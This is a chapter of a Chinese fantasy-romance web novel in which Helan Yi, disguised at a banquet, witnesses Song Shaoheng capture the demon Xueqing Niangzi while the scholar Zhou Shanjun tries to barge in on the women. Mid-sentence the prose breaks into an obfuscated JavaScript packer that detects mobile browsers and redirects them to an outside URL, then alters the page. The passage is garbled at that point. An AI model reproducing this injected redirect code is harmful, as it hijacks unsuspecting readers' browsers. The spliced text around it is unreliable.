众人都已安顿了下来,应国公府的女使们正在有条不紊地给女眷们倒茶水、上点心。 “怎么好端端地就走了水呢?” “别大惊小怪了,汴梁这些年走水还少啊,就连皇宫里都走过水呢。” “或许只是香烛倒了,只待扑灭了火就好了。” 贵眷们七七八八地在议论这事,上官琼儿则由她的另一个女使扶着去了早就准备好的房间休息。 延康子见贺兰漪过来,也放下了礼部侍郎家小娘子白嫩的手,跟着贺兰漪过来了上官琼儿休息的房间外间。 “怎么样了?”延康子问道。 “她后脖颈上的花纹是没了,我们瞧见是那个穿紫衣的舞女做的,”贺兰漪拿起茶盏抿了一口,微微垂着眸,“她应该就是雪卿娘子。” 贺兰漪话音刚落,突然有女使敲门进来说清泉苑来了个外男,延康子匆忙出去处理。 估摸着那人就是跟过来的周善俊,贺兰漪叹了口气,自从上次宋少衡让人把他扔进汴河里之后,他三天两头就往御史台递折子污蔑宋少衡,上次贺兰漪进宫去承福宫见皇太后,甚至在皇太后的寝宫都瞧见了那种折子。 可惜大梁朝不能轻易对文人士大夫用刑,那群文官又一个比一个难缠,动不动就上纲上线烦得很,不然贺兰漪早就让人把周善俊抓进大牢里了。 “咚咚!” 外面响起轻轻的敲门声,贺兰漪过去开门,外面站着的人是王柳若,因为现如今贺兰漪易妆成了应国公府的女使,王柳若并没认出她来,因而只是称呼她为“娘子。” “我见上官娘子醉了酒,于是去厨房给她做了碗醒酒汤送过来,”王柳若有些紧张地攥着手绢,微微抿着唇,声音轻轻的,很是温柔。 王柳若的性子一直都很善良,要不然她表兄段如远也不会同她关系最好,现如今过来送醒酒汤怕就是为了在上官琼儿面前讨个巧,毕竟那群贵女都瞧不上她,若是能得上官琼儿青眼相待,或许她来日的境遇能更好过些。 “进来吧,”贺兰漪深知她的不易。 得了允准,王柳若腼腆地笑了笑,“多谢娘子。” 外面轰然雷声大作,白色的闪电如灵蛇般四溢散开,那正是潋菊堂的方向。 凉风吹起贺兰漪鬓边的碎发,没来由的,她有些担心宋少衡,于是她嘱咐女使好好照顾上官琼儿后,就出门去找了延康子。 此时的延康子还在同周善俊解释,屋里面都是贵眷,要他去别的厢房休息。 可周善俊坚持 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13746873|145308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声称他是官家钦点的探花,非要进去屋内看一眼,若是有别的夫人在,他正好可以见个礼。 延康子在汴梁修行这么多年,从未见过如此不知礼数、不要脸皮的探花,但延康子哪里知道周善俊藏的肮脏心思。 多位夫人都在屋内,这正合了周善俊的念头,他想着若是自己能进去当着众多高门贵眷的面和静安郡主贺兰漪拉扯一番,不怕皇室不把贺兰漪嫁给他,毕竟若是不如此做,就会坐实了贺兰漪的浪荡名声。 滔天的富贵就在眼前,周善俊当然不会因为延康子的几句话让步,他死活坚持一定要进去房内不可,延康子虽然平日里行事随意,但有些事他知道轻重,尤其是宋少衡现如今在前面厮杀,他当然不能让周善俊在背后捅刀。 “探花郎若是一定要进去惊扰女眷们,就别怪我不客气了,”延康子冷着脸警告道。 “你不客气?”周善俊还是继续往里冲,并一把抓住延康子的胳膊,高声叫喊道:“来人啊,他打人啦,各位夫人娘子快出来看一眼啊!” 侍卫亲军步军司的士兵扮作的小厮现如今全归延康子调配,他也没废话,掰开周善俊的手,直接让人架着周善俊的胳膊把他扔进了厢房里,并在外面上了锁。 “我去看一眼宋少衡,”贺兰漪匆匆走过来,只瞧见了周善俊被扔进厢房的模糊背影。 延康子摇了摇头,“那边危险。” “我只远远地看一眼,不靠近,”贺兰漪的性子可不是谁都能管得了的,她坚持道:“我看一眼就回来,你在这里守好这些人,可千万别让她们出事。” 延康子知道自己拦不住她,只能无奈地点了点头,让宋巍护着她过去,自己则是继续回去守着上官琼儿和其他贵眷。 一个小厮担忧地问,“就这么让郡主走了,若是出了事可怎么办?” 延康子笑了笑,抬眼看向闪电四裂的天空,若有所思地说道:“你别看她性子顽劣了些,可平日里行事很有分寸,再说了,宋少衡在那呢,他不会让她受伤的。” 若不是为了活捉雪卿娘子,潋菊堂这边的战斗早就结束了,但等贺兰漪和宋巍赶过去的时候,其实差不多也已经接近了尾声。 一来一回打斗间,宋少衡提着曜灵剑步步紧逼,将雪卿娘子赶去早就设好的困灵法阵边,浑身是血的雪卿娘子甩着紫色丝绸且战且退,她从半空中落到地上,右脚绣鞋刚踩到阵法边缘,黄色的法术光芒便拔地而起,藤蔓般缠住了她雪白的脚踝,随后迅速蜿蜒而上,直到死死缠住了雪卿娘子的脖颈,将她轰然拉倒在法阵中央。 宋少衡收回曜灵剑,扬手挥风摘掉了雪卿娘子脸上的羽毛面具,这张脸,和他们在鬼樊楼寻到的楼主画像里面的美人脸一模一样。 他从乾坤袋里拿出捆妖绳,施法束住了雪卿娘子,将她从地上的法阵里拉了出来,两个手下立刻上前摁住了她。 “宋少衡,”贺兰漪匆忙从走廊边跑过来。 旁边的宋巍提着灯笼,注意到宋少衡冰冷的脸色,紧张道:“郡主她非要过来,我……” “你不要怪他,是我逼着他陪我过来的,”贺兰漪拧着眉头抬眼看向宋少衡。 贺兰漪这么说了,宋少衡也不好多计较,只是低低应声,“好。” 贺兰漪扭头注意到了不远处被缚住的紫裙女子,她一步步地走过去,宋少衡走在她前面一步,防止妖怪再做最后的挣扎。 “是你啊,”看清楚雪卿娘子的脸后,贺兰漪不可置信地接受了这个事实,眼底噙着点点泪光,声音苦涩,“段如远他对你那么好,你为什么要杀他?” 雪卿娘子生得貌美,发如乌木,面如桃花,即便是深受重伤,但依旧病若西子,她看着面前的贺兰漪,本想硬着心肠骂她一番,但话到嘴边又硬生生咽了下去,只是艰难开口说,“静安郡主,你身处皇家,富贵无双,不知道有些男子知人知面不知心,看起来人模狗样,但却是个肮脏心肠,就像,就像是段如远一样。” 雪卿娘子瞥了一眼宋少衡,脸上露出解脱般的死寂,被人押了下去。 贺兰漪站在原地,崩溃哽咽,泪珠子一颗颗不断地沿着脸颊往下落。 宋少衡从袖口里拿出一方干净帕子,抬手递过去,眨了眨浓密眼睫,心里莫名有了个奇怪念头。 若是来日他死了,贺兰漪也会如这般为他落泪吗? 贺兰漪哭着接过来宋少衡递来的手帕,擦了擦泛红的眼圈,逐渐镇定下来。 而听到天上打雷的动静,匆匆从前厅赶过来的宋知羲正巧瞧见宋少衡递帕子这一幕,他这个儿子自回来汴梁后还从未在他面前展露过如此温柔的一面。 真是儿子大了留不住。 “相公,咱们还过去吗?”旁边的管家轻声问。 宋知羲摇了摇头,慈爱道:“不必,我瞧见他没事就好,他这会儿和郡主在一处,我们过去倒是徒增尴尬,哎,他什么时候能对我如此和颜悦色啊?” “郎君自小在那种地方长大,性子孤僻不愿与人亲近也正常,不过,瞧着郎君似乎对郡主很是不同,若是日后他可以与郡主多来往,或许性子慢慢就转圜过来了。”管家悄声道。 “对啊,”宋知羲侧脸看向管家,似乎拨云见日,思路瞬间清晰了过来,激动道:“若是,若是郡主能开口劝他,或许这辈子我还能等到他喊我一声爹。” 贺兰漪和宋少衡一起回去了清河苑,因为刚刚哭过,贺兰漪脸上的妆花了,她又去到别的房间补妆。 宋少衡准备跟着她一起过去,谁知被延康子抬手拦下,“郡主去补妆,你跟着过去干什么?”